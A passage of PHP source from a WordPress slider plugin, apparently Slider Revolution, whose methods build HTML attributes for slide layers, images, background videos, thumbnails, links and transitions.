			$loop['loop_999'] .= ($yym !== false) ? 'yym:t;' : '';
			$loop['loop_999'] .= ($yyr !== false) ? 'yyr:t;' : '';
			$loop['loop_999'] .= ($yys !== false) ? 'yys:t;' : '';
			$loop['loop_999'] .= ($yyf !== false) ? 'yyf:t;' : '';
			$loop['loop_999'] .= ($rep !== '-1' && $rep !== '') ? 'rep:'.$rep.';' : '';
		}
		
		return $loop;
	}
	
	/**
	 * get layer toggle data
	 * @change 6.2.16:
	 *	- added idle -> whiteSpace setting
	 *	- added moved do_shortcode() to a later step
	 **/
	public function get_toggle_data(){
		$layer			 = $this->get_layer();
		$toggle			 = array();
		$type			 = $this->get_val($layer, array('type', 'text'));
		$text_toggle	 = $this->get_val($layer, array('toggle', 'text'));
		$toggle['allow'] = $this->get_val($layer, array('toggle', 'set'), false);
		$toggle['inverse_content'] = $this->get_val($layer, array('toggle', 'inverse'), false);
		$toggle['html']	 = '';
		
		if(!in_array($type, array('shape', 'svg', 'image'), true)){
			if(function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate
				$text_toggle = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle);
			}elseif(function_exists('ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate plus
				$text_toggle = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle);
			}elseif(function_exists('qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate X
				$text_toggle = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle);
			}
			
			$toggle['html'] = $text_toggle;
		}
		
		global $fa_icon_var, $fa_var, $pe_7s_var;
		foreach($this->icon_sets as $is){
			if(strpos($toggle['html'], $is) !== false){ //include default Icon Sets if used
				$font_var = str_replace('-', '_', $is).'var';
				$$font_var = true;
				$cache = RevSliderGlobals::instance()->get('RevSliderCache');
				$cache->add_addition('special', 'font_var', $font_var);
			}
		}
		
		//Replace Placeholders
		$toggle['html'] = $this->set_placeholders($toggle['html']);
		
		if($this->adv_resp_sizes == true){
			$ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', array('nowrap'));
		}else{
			$ws	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), 'nowrap'), $this->enabled_sizes);
		}
		
		//replace new lines with <br />
		$toggle['html'] = (strpos($ws, 'content') !== false || strpos($ws, 'full') !== false) ? nl2br($toggle['html']) : $toggle['html'];
		//do shortcodes here, so that nl2br is not done within the shortcode content
		$toggle['html'] = (!in_array($type, array('image', 'svg', 'column', 'shape'), true)) ? do_shortcode(stripslashes($toggle['html'])) : $toggle['html'];
		
		return $toggle;
	}
	
	/**
	 * get layer HTML corners
	 **/
	public function get_html_corners(){
		$layer	= $this->get_layer();
		$html	= 'data-corners="';
		
		if(in_array($this->get_val($layer, 'type', 'text'), array('text', 'button','shape'), true)){
			$cl = $this->get_val($layer, array('idle', 'cornerLeft'), 'none');
			$cr = $this->get_val($layer, array('idle', 'cornerRight'), 'none');
			
			$html .= (!in_array($cl, array('', 'none'), true)) ? $cl.';' : '';
			$html .= (!in_array($cr, array('', 'none'), true)) ? $cr.';' : '';
		}
		
		$html .= '"';
		
		return ($html !== 'data-corners=""') ? $html : '';
	}
	
	/**
	 * get layer HTML disp
	 **/
	public function get_html_disp(){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$html	= 'data-disp="';
		
		if(($this->container_mode === 'column' || $this->container_mode === 'group') && $type !== 'row' && $this->get_val($layer, array('idle', 'display'), 'block') !== 'block'){
			$html .= $this->get_val($layer, array('idle', 'display'));
		}
		
		$html .= '"';
		
		return ($html !== 'data-disp=""') ? $html : '';
	}
	
	/**
	 * get layer HTML layer additions
	 **/
	public function get_html_layer_additions(){
		$layer	= $this->get_layer();
		$html	= '';
		
		if(!empty($this->layer_additions)){
			foreach($this->layer_additions as $data => $value){
				$html .= $this->ld().RS_T8.$data.'="';
				$html .= (is_array($value)) ? json_encode($value) : $value;
				$html .= '"'."\n";
			}
		}
		
		return $html;
	}
	
	/**
	 * get the HTML layer
	 **/
	public function get_html_layer(){
		$layer = $this->get_layer();
		$html = '';
		$type = $this->get_val($layer, 'type', 'text');
		$text = $this->get_val($layer, 'text');
		
		if(function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate
			$text = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text);
		}elseif(function_exists('ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate plus
			$text = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text);
		}elseif(function_exists('qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate X
			$text = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage($text);
		}
		
		switch($type){
			case 'shape':
			case 'svg':
			case 'column':
			break;
			default:
			case 'text':
			case 'button':
				// this filter is needed for the weather AddOn
				$html = apply_filters('revslider_modify_layer_text', $text, $layer);
				
				global $fa_icon_var, $fa_var, $pe_7s_var;
				foreach($this->icon_sets as $is){
					if(strpos($html, $is) !== false){ //include default Icon Sets if used
						$font_var = str_replace('-', '_', $is).'var';
						$$font_var = true;
						$cache = RevSliderGlobals::instance()->get('RevSliderCache');
						$cache->add_addition('special', 'font_var', $font_var);
					}
				}
			break;
			case 'image':
				$additional	= '';
				$cover_mode	= $this->get_val($layer, array('size', 'covermode'), 'custom');
				$urlImage	= $this->get_val($layer, array('media', 'imageUrl'));
				$cur_img_id	= $this->get_val($layer, array('media', 'imageId'));
				$img_change	= $this->get_val($layer, array('behavior', 'imageSourceType'), 'auto');
				$img_size	= 'full';
				$img_w		= '';
				$img_h		= '';
				$alt		= '';
				$alt_option	= $this->get_val($layer, array('attributes', 'altOption'), 'media_library');
				$do_ll		= $this->get_val($layer, array('behavior', 'lazyLoad'), 'auto');
				$lazyLoad	= $this->slider->get_param(array('general', 'lazyLoad'), false);
				$img_size	= ($img_change !== 'auto') ? $img_change : $this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full');
				$class		= 'tp-rs-img';
				
				if(empty($cur_img_id) || intval($cur_img_id) == 0){
					$cur_img_id	= $this->get_image_id_by_url($urlImage);
					if(!empty($cur_img_id) && intval($cur_img_id) !== 0){
						/**
						 * we could save the value into the layer
						 * but this part should never be called as the img id never is empty
						 **/
					}
				}
				
				if($img_size !== 'full' && $cur_img_id !== false && !empty($cur_img_id)){
					$_urlImage = wp_get_attachment_image_src($cur_img_id, $img_size);
					$urlImage = ($_urlImage !== false) ? $_urlImage[0] : $urlImage;
				}
				
				if($cur_img_id !== false && !empty($cur_img_id)){
					$img_data = wp_get_attachment_metadata( $cur_img_id );
					if($img_data !== false && !empty($img_data)){
						if($img_size !== 'full'){
							if(isset($img_data['sizes']) && isset($img_data['sizes'][$img_size])){
								$img_w = $this->get_val($img_data, array('sizes', $img_size, 'width'));
								$img_h = $this->get_val($img_data, array('sizes', $img_size, 'height'));
							}
						}
						
						if($img_w == '' || $img_h == ''){
							$img_w =  $this->get_val($img_data, 'width');
							$img_h =  $this->get_val($img_data, 'height');
						}
						$additional.= ' width="'.$img_w.'" height="'.$img_h.'"';
					}
				}else{ //we might be from image library
					$objlib = new RevSliderObjectLibrary();
					
					//redownload if possible
					$objlib->_check_object_exist($urlImage);
				}
				
				switch($alt_option){
					case 'media_library':
						if($cur_img_id !== false){
							$alt = get_post_meta($cur_img_id, '_wp_attachment_image_alt', true);
						}
					break;
					case 'file_name':
						$info = pathinfo($urlImage);
						$alt = $info['filename'];
					break;
					case 'custom':
						$alt = $this->get_val($layer, array('attributes', 'alt'));
					break;
				}
				
				if(isset($this->slide->ignore_alt)) $alt = '';
				
				if($lazyLoad === false){ //do fallback checks to removed lazy_load value since version 5.0 and replaced with an enhanced version
					$old_ll = $this->slider->get_param('lazy_load', 'off');
					$lazyLoad = ($old_ll == 'on') ? 'all' : 'none';
				}
				
				if($lazyLoad != 'none' || $do_ll == 'force' && $do_ll !== 'ignore'){
					$seo_opti = $this->get_val($layer, 'seo-optimized', false);
					if($seo_opti === 'false' || $seo_opti === false){
						$additional .= ' data-lazyload="'.$this->remove_http($urlImage).'"';
						$class .= ' rs-lazyload';
						$urlImage = RS_PLUGIN_URL.'public/assets/assets/dummy.png';
					}
				}
				
				$additional .= ($cover_mode !== 'custom') ? ' data-c="'.$cover_mode.'"' : '';
				
				if($urlImage !== ''){
					//$urlImage = str_replace(array('https://', 'http://'), '//', $urlImage);
					$html = '<img src="'.$this->remove_http($urlImage).'"';
					$html .= ' alt="'.$alt.'" class="'.$class.'"';
					$html .= $additional.' data-no-retina>';
				}
			break;
		}
		
		//Replace Placeholders
		$html = $this->set_placeholders($html);
		
		if($this->adv_resp_sizes == true){
			$ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', array('nowrap'));
		}else{
			$ws	= $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), 'nowrap'), $this->enabled_sizes);
		}
		
		//replace new lines with <br />
		$html = (strpos($ws, 'content') !== false || strpos($ws, 'full') !== false) ? nl2br($html) : $html;
		//do shortcodes here, so that nl2br is not done within the shortcode content
		$html = (!in_array($type, array('image', 'svg', 'column', 'shape'), true)) ? do_shortcode(stripslashes($html)) : $html;
		
		return $html;
	}
	
	/**
	 * General Placeholders for all slider types
	 * @since: 5.3.0
	 */
	public function set_placeholders($text){
		global $post;
		
		$text = str_replace(array('%home_url%', '{{home_url}}'), esc_url(home_url( '/' )), $text);
		if(isset($post->ID)) $text = str_replace(array('%current_page_link%', '{{current_page_link}}'), get_permalink($post->ID), $text);
		if(isset($post->ID)) $text = apply_filters('revslider_gallery_set_placeholders', $text, $post->ID);
		
		return $text;
	}
	
	/**
	 * return the layer visibility dependency of devices
	 **/
	public function get_html_layer_device_visibility(){
		$layer			= $this->get_layer();
		$vis_desktop	= ($this->get_val($layer, array('visibility', 'd'), true) === true) ? 't' : 'f';
		$vis_notebook	= ($this->get_val($layer, array('visibility', 'n'), true) === true) ? 't' : 'f';
		$vis_tablet		= ($this->get_val($layer, array('visibility', 't'), true) === true) ? 't' : 'f';
		$vis_mobile		= ($this->get_val($layer, array('visibility', 'm'), true) === true) ? 't' : 'f';
		$visible		= ($vis_notebook == 'f' || $vis_desktop == 'f' || $vis_tablet == 'f' || $vis_mobile == 'f') ? 'data-vbility="'.$vis_desktop.','.$vis_notebook.','.$vis_tablet.','.$vis_mobile.'"' : '';
		
		return $visible;
	}
	
	/**
	 * check if in the layer actions an action has an trigger
	 **/
	public function check_if_trigger_exists(){
		$layers		 = $this->get_layers();
		$uid		 = $this->get_layer_unique_id();
		$has_trigger = false;
		
		foreach($layers as $layer){
			if($has_trigger) break;
			$actions = $this->get_val($layer, array('actions', 'action'));
			if(!empty($actions)){
				foreach($actions as $action){
					switch($this->get_val($action, 'action')){
						case 'start_in':
						case 'start_out':
						case 'toggle_layer':
						case 'toggle_frames':
						case 'next_frame':
						case 'prev_frame':
						case 'start_frame':
							if($uid == $this->get_val($action, 'layer_target')){
								$has_trigger = true;
								break;
							}
						break;
					}
				}
			}
		}
		
		return $has_trigger;
	}
	
	/**
	 * check if the current layer is a full width video
	 **/
	public function is_full_width_video(){
		$layer = $this->get_layer();
		return $this->get_val($layer, 'type', 'text') == 'video' && $this->get_val($layer, array('size', 'covermode')) == 'cover-proportional';
	}
	
	/**
	 * Check if the layer is on a group or a row
	 * @since: 5.3.0
	 **/
	public function is_in_group_or_row(){
		$layer	= $this->get_layer();
		$puid	= $this->get_val($layer, array('group', 'puid'));
		return intval($puid) > 0;
	}
	
	/**
	 * check if a stream video exists
	 * @since: 5.0
	 * @before: RevSliderOutput::checkIfStreamVideoExists()
	 */
	public function check_if_stream_video_exists(){
		$slide	= $this->get_slide();
		$vid	= '';
		
		switch($slide->get_param(array('bg', 'type'), 'trans')){
			case 'streamyoutubeboth'://youtube
				$vid = $slide->get_param(array('bg', 'youtube'), '');
			break;
			case 'streamvimeoboth'://vimeo
				$vid = $slide->get_param(array('bg', 'vimeo'), '');
			break;
			case 'streaminstagramboth'://instagram
				$vid = $slide->get_param(array('bg', 'mpeg'), '');
			break;
			case 'streamtwitterboth'://instagram
				$vid = $slide->get_param(array('bg', 'mpeg'), '');
				if($vid !== '') return true;
				$vid = $slide->get_param(array('bg', 'youtube'), '');
				if($vid !== '') return true;
				$vid = $slide->get_param(array('bg', 'vimeo'), '');
				if($vid !== '') return true;
			break;
		}
		
		return ($vid == '') ? false : true;
	}
	
	/**
	 * add background video layer
	 * @since: 5.0
	 * @before putBackgroundVideo()
	 */
	public function add_html_background_video(){
		$slide = $this->get_slide();
		
		$data = array('video' => array());
		
		$mute_video = $slide->get_param(array('bg', 'video', 'mute'), true);
		$volume = $slide->get_param(array('bg', 'video', 'volume'), '100');
		$video_type = $slide->get_param(array('bg', 'type'), 'trans');
		$http = (is_ssl()) ? 'https://' : 'http://';
		
		switch($video_type){
			case 'streamtwitter':
			case 'streamtwitterboth':
			case 'twitter':
				$youtube_id	= $slide->get_param(array('bg', 'youtube'), '');
				$vimeo_id	= $slide->get_param(array('bg', 'vimeo'), '');
				$html_mpeg	= $this->remove_http($slide->get_param(array('bg', 'mpeg'), ''));
				
				if($youtube_id === '' && $vimeo_id === '' && $html_mpeg === '') return false;
				
				if($youtube_id !== ''){
					$this->youtube_exists = true;
					$arguments = $slide->get_param(array('bg', 'video', 'args'), RevSliderFront::YOUTUBE_ARGUMENTS);
					$arguments = (empty($arguments)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $arguments;
					if($mute_video === false){
						$data['video']['v'] = intval($volume);
						$arguments	= 'volume='.intval($volume).'&amp;'.$arguments;
					}
					$arguments .= '&amp;origin='.$http.$_SERVER['SERVER_NAME'].';';
					$data['vatr'] = 'version=3&amp;enablejsapi=1&amp;html5=1&amp;'.$arguments;
					
					$data['ytid'] = $youtube_id;
					$sp = $slide->get_param(array('bg', 'video', 'speed'), 1);
					if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp;
					
					$data['video']['vc'] = 'none';
					
				}elseif($vimeo_id !== ''){
					$arguments = $slide->get_param(array('bg', 'video', 'argsVimeo'), RevSliderFront::VIMEO_ARGUMENTS);
					$arguments = (empty($arguments)) ? RevSliderFront::VIMEO_ARGUMENTS : $arguments;
					$data['vatr'] = $arguments;
					
					if($mute_video === false){
						$data['video']['v'] = intval($volume);
					}
					
					if(strpos($vimeo_id, 'http') !== false){ //check if full URL
						//we have full URL, split it to ID
						$video_id = explode('vimeo.com/', $vimeo_id);
						$vimeo_id = $video_id[1];
					}
					
					$data['vimeoid'] = $vimeo_id;
					$data['video']['vc'] = 'none';
					
				}elseif($html_mpeg !== ''){
					//$data['video']['p'] = 'auto'; //auto is default, so dont write it
					$data['mp4'] = $html_mpeg;
				}
			break;
			case 'streamyoutube':
			case 'streamyoutubeboth':
			case 'youtube':
				$youtube_id = $slide->get_param(array('bg', 'youtube'), '');
				if($youtube_id == '') return false;
				
				$this->youtube_exists = true;
				if(strpos($youtube_id, 'http') !== false){ //check if full URL
					parse_str(parse_url($youtube_id, PHP_URL_QUERY), $my_v_ret); //we have full URL, split it to ID
					$youtube_id = $my_v_ret['v'];
				}
				
				$arguments = $slide->get_param(array('bg', 'video', 'args'), RevSliderFront::YOUTUBE_ARGUMENTS);
				$arguments = (empty($arguments)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $arguments;
				
				if($mute_video === false){
					$data['video']['v'] = $volume;
					$arguments = 'volume='.intval($volume).'&amp;'.$arguments;
				}
				$arguments.='&amp;origin='.$http.$_SERVER['SERVER_NAME'].';';
				
				$data['ytid'] = $youtube_id;
				$data['vatr'] = 'version=3&amp;enablejsapi=1&amp;html5=1&amp;'.$arguments;
				$sp = $slide->get_param(array('bg', 'video', 'speed'), 1);
				if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp;
				$data['video']['vc'] = 'none';
			break;
			case 'streamvimeo':
			case 'streamvimeoboth':
			case 'vimeo':
				$vimeo_id = $slide->get_param(array('bg', 'vimeo'), '');
				if($vimeo_id == '') return false;
				
				$arguments = $slide->get_param(array('bg', 'video', 'argsVimeo'), '');
				$arguments = str_replace(array('&background=1', '&background=0', 'background=1', 'background=0'), '', $arguments);
				$arguments = (empty($arguments)) ? RevSliderFront::VIMEO_ARGUMENTS : $arguments;
				$arguments = (!empty($arguments)) ? 'background=1&'.$arguments : 'background=1';
				
				if($mute_video == false) $data['video']['v'] = intval($volume);
				
				if(strpos($vimeo_id, 'http') !== false){ //check if full URL
					$video_id = explode('vimeo.com/', $vimeo_id); //we have full URL, split it to ID
					$vimeo_id = $video_id[1];
				}
				$data['vimeoid'] = $vimeo_id;
				$data['vatr'] = $arguments;
				$data['video']['vc'] = 'none';
				$sp = $slide->get_param(array('bg', 'video', 'speed'), 1);
				if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp;
			break;
			case 'streaminstagram':
			case 'streaminstagramboth':
			case 'html5':
				$html_mpeg = $this->remove_http($slide->get_param(array('bg', 'mpeg'), ''));
				if($video_type == 'streaminstagram' || $video_type == 'streaminstagramboth'){
					$html_webm	= '';
					$html_ogv	= '';
				}else{
					$html_webm = $slide->get_param(array('bg', 'webm'), '');
					$html_ogv = $slide->get_param(array('bg', 'ogv'), '');
				}
				
				//$data['video']['p'] = 'auto'; //default is auto, so do not write
				
				if(!empty($html_ogv))	 $data['videoogv'] = $html_ogv;
				if(!empty($html_webm))	 $data['videowebm'] = $html_webm;
				if(!empty($html_mpeg))	 $data['mp4'] = $html_mpeg;
				if($mute_video === false) $data['video']['v'] = intval($volume);
			break;
		}
		
		if(isset($data['vatr'])){
			$data['vatr'] = str_replace('&amp;', '&', $data['vatr']);
			$data['vatr'] = str_replace('&', '&amp;', $data['vatr']);
			$data['vatr'] = str_replace(';&amp;', '&amp;', $data['vatr']);
			$data['vatr'] = str_replace(';;', ';', $data['vatr']);
		}
		
		$data['video']['w'] = '100%';
		$data['video']['h'] = '100%';
		
		$ratio	= $slide->get_param(array('bg', 'video', 'ratio'), '16:9');
		$loop	= $slide->get_param(array('bg', 'video', 'loop'), true);
		$vpt 	= $slide->get_param(array('bg', 'video', 'pausetimer'), false);
		if($loop === 'loop') $vpt = true;

		$nsae	= $slide->get_param(array('bg', 'video', 'nextSlideAtEnd'), false);
		$sat	= $slide->get_param(array('bg', 'video', 'startAfterTransition'), false);
		$vsa	= $slide->get_param(array('bg', 'video', 'startAt'), '');
		$vea	= $slide->get_param(array('bg', 'video', 'endAt'), '');
		
		
		if(!in_array($vsa, array('', '-1', -1), true)) $data['video']['sta'] = $vsa;
		if(!in_array($vea, array('', '-1', -1), true)) $data['video']['end'] = $vea;
		if(!in_array($ratio, array('', '16:9'), true)) $data['video']['ar'] = $ratio;
		if($nsae === false) $data['video']['nse'] = 'false';
		if($sat === true) $data['video']['sat'] = 'true';
		if($slide->get_param(array('bg', 'video', 'forceRewind'), true) === false)
			$data['video']['rwd'] = false;
		
		$data['video']['l'] = $loop;
		$data['video']['ptimer'] = $vpt;
		//$data['video']['autoplay'] = 'true'; //default, so dont write
		//$data['video']['apf'] = false; //default, so dont write
		
		$crso = $slide->get_param(array('bg', 'crossOriginVideo'), false);
		
		if($video_type === 'html5') {
			$data['video']['vfc'] = $slide->get_param(array('bg', 'video', 'fitCover'), true); //video fit cover
			if($crso === true) $data['video']['crossOriginVideo'] = $crso;
		}
		$do	= $slide->get_param(array('bg', 'video', 'dottedOverlay'), 'none');
		if($do !== 'none'){
			$data['video']['do'] = $do;
			$doca	= $slide->get_param(array('bg', 'video', 'dottedColorA'), 'transparent');
			$docb	= $slide->get_param(array('bg', 'video', 'dottedColorB'), '#000000');
			$dos	= $slide->get_param(array('bg', 'video', 'dottedOverlaySize'), 1);
			
			if($doca !== 'transparent') $data['video']['doca'] = $doca;
			if(!in_array($docb, array('', '#000000', '#000'), true)) $data['video']['docb'] = $docb;
			if(!in_array($dos, array('', '1', 1), true)) $data['video']['dos'] = $dos;
		}

		//echo $this->ld().RS_T7."<!-- BACKGROUND VIDEO LAYER -->\n";
		echo $this->ld().RS_T7.'<rs-bgvideo '."\n";
		if(!empty($data)){
			foreach($data as $k => $d){
				if(empty($d)) continue;
				echo $this->ld().RS_T8.'data-'.$k.'="';
				if(is_array($d)){
					foreach($d as $kk => $dd){
						echo $kk.':';
						echo $this->write_js_var($dd, '');
						echo ';';
					}
				}else{
					echo $this->write_js_var($d, '');
				}
				echo '"'."\n";
			}
		}
		echo $this->ld().RS_T7.'></rs-bgvideo>'."\n";
	}
	
	/**
	 * get slide style
	 **/
	public function get_html_slide_style(){
		$style = array('position' => 'absolute');
		$style = apply_filters('revslider_get_html_slide_style', $style, $this);

		$style_html = ' style="';
		if(!empty($style)){
			foreach($style as $_style => $_value){
				$style_html .= $_style.': '.$_value.';';
			}
		}
		$style_html .= '"';

		return ($style_html !== ' style=""') ? $style_html : '';
	}
	
	/**
	 * get slide key
	 **/
	public function get_html_slide_key(){
		$slide = $this->get_slide();
		return ' data-key="rs-'.preg_replace("/[^\w]+/", "", $slide->get_id()).'"';
	}
	
	/**
	 * get slide title
	 **/
	public function get_html_slide_title($raw = false){
		$slide = $this->get_slide();
		
		if($this->slider->is_posts()){ //check if we are post based or normal slider
			$title = @get_the_title($slide->get_id());
		}else{
			$title = $slide->get_param('title', 'Slide');
		}
		$pre = ($raw === false) ? ' data-title="' : '';
		$post = ($raw === false) ? '"' : '';
		
		return ($title !== '') ? $pre.stripslashes(esc_attr($title)).$post : '';
	}
	
	/**
	 * get slide description
	 **/
	public function get_html_slide_description(){
		$slide = $this->get_slide();
		
		if($this->slider->is_posts()){ //check if we are post based or normal slider
			$the_post = get_post($slide->get_id());
			$description = strip_tags(strip_shortcodes($the_post->post_excerpt));
		}else{
			$description = $slide->get_param(array('info', 'description'), '');
		}
		
		$description = trim(str_replace(array("\'", '\"'), array("'", '"'), esc_attr($description)));
		
		return ($description !== '') ? ' data-description="'.$description.'"' : '';
	}
	
	/**
	 * get the thumb url for the slide (navigation may need it)
	 **/
	public function get_thumb_url(){
		$active	 = ($this->slider->get_param(array('nav', 'bullets', 'set'), false) == true || $this->slider->get_param(array('nav', 'thumbs', 'set'), false) == true || $this->slider->get_param(array('nav', 'arrows', 'set'), false) == true || $this->slider->get_param(array('nav', 'tabs', 'set'), false) == true) ? true : false;
		$special = (
			in_array($this->slider->get_param(array('nav', 'arrows', 'style'), 'round'), array('preview1', 'preview2', 'preview3', 'preview4', 'custom'), true) ||
			in_array($this->slider->get_param(array('nav', 'bullets', 'style'), 'round'), array('preview1', 'preview2', 'preview3', 'preview4', 'custom'), true)
		) ? true : false;
		
		if($active === false && $special == false) return '';
		
		$slide	= $this->get_slide();
		$url	= ($this->slider->is_posts() && $slide->get_param(array('bg', 'imageFromStream'), false) === true) ? '' : $slide->get_param(array('thumb', 'customThumbSrc'), '');
		
		if(
			$slide->get_param(array('thumb', 'dimension'), 'slider') == 'slider' &&
			(in_array($this->slider->get_param('sourcetype'), array('youtube', 'vimeo'), true) || 
			in_array($slide->get_param(array('bg', 'type'), 'trans'), array('image', 'vimeo', 'youtube', 'html5', 'streamvimeo', 'streamyoutube', 'streaminstagram', 'streamtwitter', 'streamvimeoboth', 'streamyoutubeboth', 'streaminstagramboth', 'streamtwitterboth'), true))
		){ //use the slider settings for width / height
			$w = intval($this->slider->get_param(array('nav', 'preview', 'width'), $this->slider->get_param(array('nav', 'thumbs', 'width'), 100)));
			$h = intval($this->slider->get_param(array('nav', 'preview', 'height'), $this->slider->get_param(array('nav', 'thumbs', 'height'), 50)));
			
			if($w == 0) $w = 100;
			if($h == 0) $h = 50;
		
			if(empty($url)){ //try to get resized thumb
				$url = rev_aq_resize($slide->image_url, $w, $h, true, true, true);
			}else{
				$url = rev_aq_resize($url, $w, $h, true, true, true);
				if(empty($url)){
					$url = $slide->image_url;
					$url = rev_aq_resize($url, $w, $h, true, true, true);
				}
			}
		}
		
		$url = (empty($url)) ? $slide->image_url : $url; //if empty - put regular image
		$url = trim($this->remove_http($url));
		$url = ($this->check_valid_image($url)) ? $url : '';
		
		return ($url !== '') ? ' data-thumb="'.$url.'"' : $url;
	}
	
	/**
	 * get slide link if set in slide settings
	 **/
	public function get_slide_link(){
		$link	= '';
		$slide	= $this->get_slide();
		$params	= $slide->get_params();
		
		if($slide->get_param(array('seo', 'set'), false) == true){
			switch($slide->get_param(array('seo', 'type'), 'regular')){
				default: //---- normal link
				case 'regular':
					$target	= ' data-tag="'.$slide->get_param(array('seo', 'tag'), 'l').'" data-target="'.$slide->get_param(array('seo', 'target'), '_self').'"';					
					$http	= $slide->get_param(array('seo', 'linkHelp'), 'auto');
					$l		= $this->remove_http($slide->get_param(array('seo', 'link'), ''), $http);
					$link	= ($l !== '') ? ' data-link="'.do_shortcode($l).'"'.$target : $link;
				break;
				case 'slide': //---- link to slide
					$slide_link = $this->get_val($params, array('seo', 'slideLink'), 'nothing');
					if(!empty($slide_link) && $slide_link != 'nothing'){
						//get slide index from id
						$slide_link	= (is_numeric($slide_link)) ? $this->get_val($this->get_slides_num_index(), $slide_link) : $slide_link;
						$link		= (!empty($slide_link)) ? ' data-linktoslide="'.$slide_link.'"' : $link;
					}
				break;
			}

			//set link position:
			$link .= ' data-seoz="'.$this->get_val($params, array('seo', 'z'), 'front').'"';
		}
		
		return $link;
	}
	
	/**
	 * get slide delay as html
	 **/
	public function get_html_delay(){
		$slide = $this->get_slide();
		$delay = $slide->get_param(array('timeline', 'delay'), 'default');
		$delay = strtolower($delay);
		
		return (!in_array($delay, array('default', ''), true)) ? ' data-duration="'. $delay .'"' : '';
	}


	/**
	 * get the html slide scroll based data
	 **/
	public function get_html_scrollbased_slidedata(){
		$slide = $this->get_slide();	
		$html = 'data-sba="';
		$sd = $this->slider->get_param(array('scrolltimeline', 'set'), false);
		$es = $this->slider->get_param(array('scrolleffects', 'set'), false);

		//$s = $slide->get_param(array('timeline', 'scrollBased'), 'default');
		//if ($s !== 'default' && $sd != false) $html .='t:'.($s=='true' ? 'true' : 'false').';';
		
		if($es === true){
			$fa = $slide->get_param(array('effects', 'fade'), 'default');
			$bl = $slide->get_param(array('effects', 'blur'), 'default');
			$gr = $slide->get_param(array('effects', 'grayscale'), 'default');
			if($fa !== 'default'){
				$html .= 'f:';
				$html .= ($fa === 'true') ? 'true' : 'false';
				$html .= ';';
			}
			if($bl !== 'default'){
				$html .= 'b:';
				$html .= ($bl === 'true') ? 'true' : 'false';
				$html .= ';';
			}
			if($gr !== 'default'){
				$html .= 'g:';
				$html .= ($gr === 'true') ? 'true' : 'false';
				$html .= ';';
			}
		}
		
		$html .='"';

		return ($html !== 'data-sba=""') ? $html : '';
	}

	
	/**
	 * get stop slide on purpose as html
	 **/
	public function get_html_stop_slide(){
		$slide = $this->get_slide();
		return ($this->_truefalse($slide->get_param(array('timeline', 'stopOnPurpose'), false)) === true) ? ' data-ssop="true"' : '';
	}
	
	/**
	 * get slide invisible as html
	 **/
	public function get_html_invisible(){
		$slide = $this->get_slide();
		return ($this->_truefalse($slide->get_param(array('visibility', 'hideFromNavigation'), false)) === true) ? ' data-invisible="true"' : '';
	}

	/**
	 * get slide animation IN/OUT attribute
	 **/
	public function get_html_slide_anim_attribute($data, $inout, $attribute, $default, $short, $force){
		if(!empty($data)){
			$result = ($inout !== false) ? $this->get_val($data, array($inout, $attribute), $default) : $this->get_val($data, array($attribute), $default);
		}else{
			$slide = $this->get_slide();
			$result = ($inout !== false) ? $slide->get_param(array('slideChange', $inout, $attribute), $default) : $slide->get_param(array('slideChange', $attribute), $default);
		}
		
		$_result = ($result === false) ? 'false' : $result; 
		$_result = ($_result === true) ? 'true' : $_result; 
		$_result = $this->shorten($_result, 'default', 'd');
		$_result = $this->transform_frame_vals($_result);
		
		if($force === true){
			if($attribute === 'e' || $short === 'e') $this->easings[$result] = $result;
			return ($result !== '') ? $short.':'. $result.';' : '';
		}else{
			if($attribute === 'e' || $short === 'e') $this->easings[$_result] = $_result;
			return ($result !== '' && $result !== $default) ? $short.':'. $_result.';' : '';
		}
	}

	/**
	 * get slide animation attribute
	 **/
	public function get_slide_some_attribute($attr){
		$slide = $this->get_slide();
		$result = $slide->get_param(array('timeline', $attr), 1);
		if(is_array($result) || is_object($result)) $result = implode(',', (array)$result);
		$result = $this->shorten($result, 'default', 'd');
		return ($result !== '' && $result != 1) ? $result : '';
		
	}
		
	/**
	 * get slide rotation as html
	 **/
	public function get_html_anim(){
		$slide = $this->get_slide();
		$transition = $this->get_html_first_transition();
		$transition = (empty($transition) && $slide->get_param(array('slideChange'), false) === false) ? 'fade' : $transition;
		$base_transitions = $this->get_base_transitions();
		
		$data = array();
		
		$preset = $slide->get_param(array('slideChange', 'preset'), false);
		$rnd_transition = '';
		if(is_string($transition) && in_array($transition, array('random', 'random-static', 'random-premium'), true)){
			$duration = $this->get_html_slide_anim_duration(); //get duration and set it to 1000 if smaller than 500
			if(intval($duration) < 300) $duration = 750;
			$preset = 'rndany';
			$transition = '';
		}
		if($preset !== false && strpos($preset, 'rnd') === 0){
			$rnd_main = $this->get_val($base_transitions, array('random', $preset, 'rndmain'), '');
			$rnd_grp = $this->get_val($base_transitions, array('random', $preset, 'rndgrp'), '');
			$rnd_transition = $this->get_random_slide_transition($rnd_main, $rnd_grp, $base_transitions);
			//get values for the random transition and store it in $data
			if(!empty($rnd_transition)){
				$data = $this->get_slide_transition_values($rnd_transition, $base_transitions);
